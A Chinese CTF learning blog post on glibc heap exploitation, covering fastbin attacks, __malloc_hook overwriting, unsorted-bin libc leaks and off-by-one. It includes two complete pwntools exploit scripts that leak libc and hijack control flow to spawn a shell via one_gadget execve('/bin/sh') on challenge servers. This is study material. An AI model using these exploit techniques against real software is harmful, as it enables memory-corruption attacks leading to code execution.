[PWN之路]堆攻击那些事儿

发布时间 2023-07-26 11:10:56作者: .N1nEmAn

0x01 fastbin attack 1

fastbin就是在释放一个小于global_max_size的且不小于最小内存的chunk(就是一块堆内存)的时候,用来存放这块堆内存的bin(垃圾桶)他是单链表结构(大家都学过了吧!

动态内存堆通常由两个主要的部分组成:一个是堆的头部(Heap Header),用于记录堆的状态和元数据信息,另一个是堆的主体(Heap Body),用于存储分配出去的内存块和空闲内存块。

堆的主体通常是由一块或多块连续的虚拟内存区域组成,每个区域通常是由多个内存块(Block)组成,每个内存块包含一个头部和一个实际的数据部分。头部通常用于记录内存块的状态(已分配或空闲)、大小、指向下一个或上一个内存块的指针等信息。

是不是听起来不像人话哈哈,那直接看看代码吧!

struct BlockHeader {
    size_t size;            // 内存块的大小,包括头部信息和数据部分
    struct BlockHeader* next;   // 指向下一个内存块的指针
    int is_free;            // 标记内存块是否空闲
};

// 堆的主体信息
struct Heap {
    struct BlockHeader* head;   // 指向堆中第一个内存块的指针
    size_t size;            // 堆的大小,包括已分配和空闲的内存块
};

0x01 攻击的第一步:修改指针

当我们释放一个符合大小的内存堆A,A会被分到fastbin中。再释放一个符合大小的内存堆B,B也会被分到fastbin,此时B中存放的next指针就是A。如果再释放一次A,那么A的next就会指向B,两边就相互指了,达成修改next指针的目的。

我们也可以直接覆盖数据修改内存堆中存放的next指针。

修改指针有什么用呢?我们修改指针就可以在下次申请内存的时候申请到我们控制的内存!因为fastbin是这样用的,我们刚才释放了B,随后我们再申请相同大小的,我们就会得到B,然后再申请一次就会得到B指向的A。

所以,如果我们申请得到B,并且B中存放的next是C,那么再次申请就会得到C,随后可以修改C中的内容。

那么我们要修改哪里的内容呢?

这时我们需要了解一个为了安全而危险的函数——“malloc_hook”

0x02 攻击的第二步:hook u!

malloc_hook 函数是GNU C库(glibc)中的一个特殊函数,它可以被用来重写 malloc()、realloc()、free() 等内存管理函数的实现,从而对程序的内存分配和释放过程进行自定义的控制和监测。

通过设置 malloc_hook 函数指针,我们可以在程序调用 malloc()、realloc() 等函数时,先执行我们自定义的一些操作或者根据一些条件来决定是否执行标准的内存分配/释放操作,比如检测内存泄漏、记录内存分配/释放信息等等。同时,还可以将自定义的实现与标准的内存管理函数结合起来,实现更加灵活的内存管理策略。

在每次调用malloc和realloc,free之前,都会先调用malloc_hook,从而达到检测和自定义函数的目的。

typedef void *(*__malloc_hook)(size_t size, const void *caller);

那么一旦我们修改了malloc_hook函数指针,我们就可以在下次malloc或者realloc,free之类的时候执行到我们需要执行的地址(如调用system,gadget之类),至此漏洞利用完成。

(本人尚未实操,只学了理论,还有很多问题请读者批评指正,后续我会补充,在这里写下堆的学习历程。)

从写代码者(非攻击者)方面的一点补充

知己知彼,百战不殆。了解这个函数是做什么的,我们能更好地利用他。

malloc_hook 是一个函数指针,它可以被用于在程序调用标准的动态内存分配函数 _malloc()、calloc()、realloc()、valloc()、aligned_alloc() 和 memalign()_ 时,实现自定义的内存分配策略。

当程序调用上述任何一个动态内存分配函数时,系统会首先检查是否定义了 malloc_hook 函数指针,如果定义了,则会调用该指针所指向的函数来进行内存分配。通过使用 malloc_hook 函数指针,程序可以实现动态内存分配的拦截和自定义,可以用于调试、内存泄漏检测、性能分析等应用场景。

malloc_hook 函数指针的类型定义如下:

typedef void *(*__malloc_hook)(size_t size, const void *caller);

其中,第一个参数 size 表示要分配的内存大小,第二个参数 caller 是调用动态内存分配函数的函数的返回地址。malloc_hook 函数指针所指向的函数必须返回一个指向分配到的内存块的指针,如果返回 NULL,则表示内存分配失败。

需要注意的是,使用 malloc_hook 函数指针需要非常小心,因为它可以覆盖程序中的标准动态内存分配函数,可能会导致系统崩溃或者内存泄漏等问题。建议仅在必要的情况下使用,并遵循相应的规范和最佳实践。

0x02 fastbin attack 2

babyheap_0ctf_2017,我的第一道堆,fastbin attack。随时欢迎交流。特别鸣谢孙学长和欧阳学长的指导。
参考文章:https://blog.csdn.net/mcmuyanga/article/details/112466134

from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='amd64')

p = process('./heap')
p = remote('node4.buuoj.cn', 29639)
elf = ELF('./heap')
libc = ELF('./libc.so.6')

n2b = lambda x    : str(x).encode()
rv  = lambda x    : p.recv(x)
ru  = lambda s    : p.recvuntil(s)
sd  = lambda s    : p.send(s)
sl  = lambda s    : p.sendline(s)
sn  = lambda s    : sl(n2b(n))
sa  = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia  = lambda      : p.interactive()
rop = lambda r    : flat([p64(x) for x in r])

if args.G:
    gdb.attach(p)

def add(size):
    #p.sendlineafter(':','1')
    #p.sendlineafter(':',str(size))
    sla(':',str(1))
    sla(':',str(size))

def edit(idx, content):
    sla(':','2')
    sla(':',str(idx))
    sla(':',str(len(content)))
    sla(':',content)

def free(idx):
    sla(':','3')
    sla(':',str(idx))

def dump(idx):
    sla(':','4')
    sla(':',str(idx))

add(0x10)#0
add(0x10)#1
add(0x80)#2


add(0x30)#3
add(0x68)#4
add(0x50)#5

edit(0,p64(0)*3+p64(0xb1))#修改堆这样才能泄露下一个堆的内容!
free(1)#释放他!让我得到更大的,一会输出!
add(0xa0)#得到了!程序现在知道了要输出0xa0!
edit(1,p64(0)*3+p64(0x91))#恢复chunk2信息!
free(2)#释放,你去吧!unsortedbin!带回来地址
dump(1)#得到地址!
base = u64(ru('\x7f')[-6:].ljust(8,b'\x00'))#是main_arena的地址,还有一点偏移!
base -= 0x3c4b78#这个偏移可以用gdb的disass *malloc_trim找到!第三十三行
libc.address = base
print(hex(base))

hook = libc.sym.__malloc_hook
#ini1 = libc.sym.memalign_hook_ini
#ini1 = libc.sym.realloc_hook_ini

getshell = base+0x4526a#one_shot,来自onegadget!print(hex(hook))
free(4)#送去fastbin,准备攻击!
edit(3,p64(0)*7+p64(0x71)+p64(hook-0x23))#-0x23是为了申请堆时误导大小为0x7f通过认证!随后进行覆盖!
add(0x68)#2
add(0x68)#4
edit(4,b'\x00'*0x13+p64(getshell))

add(0x20)

ia()
'''0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

exp中注释相关
注意buuctf里面会给好libc

vis命令

0x03 unsorted attack1

house of orange 泄露libc

参考文章
https://www.cnblogs.com/ZIKH26/articles/16712469.html
不过当前只会泄露,还不知道怎么打捏

黑盾杯2023 leak

https://blog.csdn.net/weixin_52640415/article/details/130887930?spm=1001.2014.3001.5502
有待研究。

泄露libc地址的方式有很多种

1.house of orange(free unsorted后过度覆盖打印)

2.直接打印堆为got表

3.堆重叠(伪造fake chunk包括下一个堆,释放下一个堆然后打印,这个一般需要堆大于0x90)
参考:https://www.cnblogs.com/zhwer/p/13950309.html

4.double malloc(自己命名的),通过修改fastbin的fd,并且伪造fd的大小和fastbin一样,实际上是unsortedbin,然后再次申请这个堆块,得到两次引用这个地址从而泄露地址的机会。

off-by-one 例题 hitcontraining_heapcreator

这是buu的pwn第二页最后一题,终于搞定了。
今天自己维护了自己的库魔刀千刃(evilblade),用这个来做pwn,所以从今天开始我的exp会多一些奇怪的东西。这些大家自己理解就好了,其实大概意思就那样,理解思路最重要。

一开始不知道off-by-one
(本质就是可以溢出一个字节,覆盖下一个堆块大小用来伪造堆块,从而申请新的伪造堆块的时候达到溢出的效果)

意思就是程序以为堆块很大(因为被改了),但实际上很小,所以可以达成溢出的效果。

但是我一开始打的是unsorted bin attack来泄露地址……有点笨了,所以前面有一些没用的代码。

我一定要吐槽一下这个库的问题,我之前用11.3都没问题,这次有问题。
卡了我一晚上,最后换了11的库patch上才好了。

from pwn import *
from evilblade import *

context(os='linux', arch='amd64')
#context(os='linux', arch='amd64', log_level='debug')

setup('./heapc')
libset('libc-2.23.so')
rsetup('node4.buuoj.cn',25102)
evgdb()

def add(size,content):
    #p.sendlineafter(':','1')
    #p.sendlineafter(':',str(size))
    sla(':',str(1))
    sla(':',str(size))
    sla(':',content)

def edit(idx, content):
    sla(':','2')
    sla(':',str(idx))
    sa(':',content)

def free(idx):
    sla(':','4')
    sla(':',str(idx))

def dump(idx):
    sla(':','3')
    sla(':',str(idx))


add(400,b'a')#0
add(0x30,b'/bin/sh\x00'*3+p64(0x21))#1
add(0x30,b'/bin/sh\x00')#2
free(0)#释放这个堆快的时候,会把自己的大小写到下一个堆块的prev_size中,实际上gdb的颜色才是堆块的可控区域
add(0x198,b'a'*7)#0
dump(0)
addr = tet('add')
addr = tet('add')
addr = get64('add')
base = getbase(addr, 'write',0x2cd7c8)

edit(0,b'/bin/sh\x00'+b'a'*0x188+p64(0x1a0)+b'\x81')#覆盖off-by-one
free(1)
free(2)

add(0x70,b'a'*0x18+p64(0x41)+p64(0)*3+p64(0x21)+p64(0x70)*3+p64(0x21)+p64(0x70)+p64(gotadd('free')))
dump(1)
addr = tet('add')
addr = u64(ru('\n')[-7:-1].ljust(8,b'\x00'))
fp('addr',hex(addr))
base = getbase(addr,'free')
symoff('free')

os = base+0xf1147
sys = symoff('system',base)

edit(1,p64(sys))

free(0)
ia()

在这里插入图片描述

0x04 Double-Free

这个玩意应该主要是用来进行地址泄露,非常好非常好。稍后会出一道例题。

0x05 Unlink

主要用来修改堆指针,方便实现任意内存写。
https://blog.csdn.net/mcmuyanga/article/details/112602827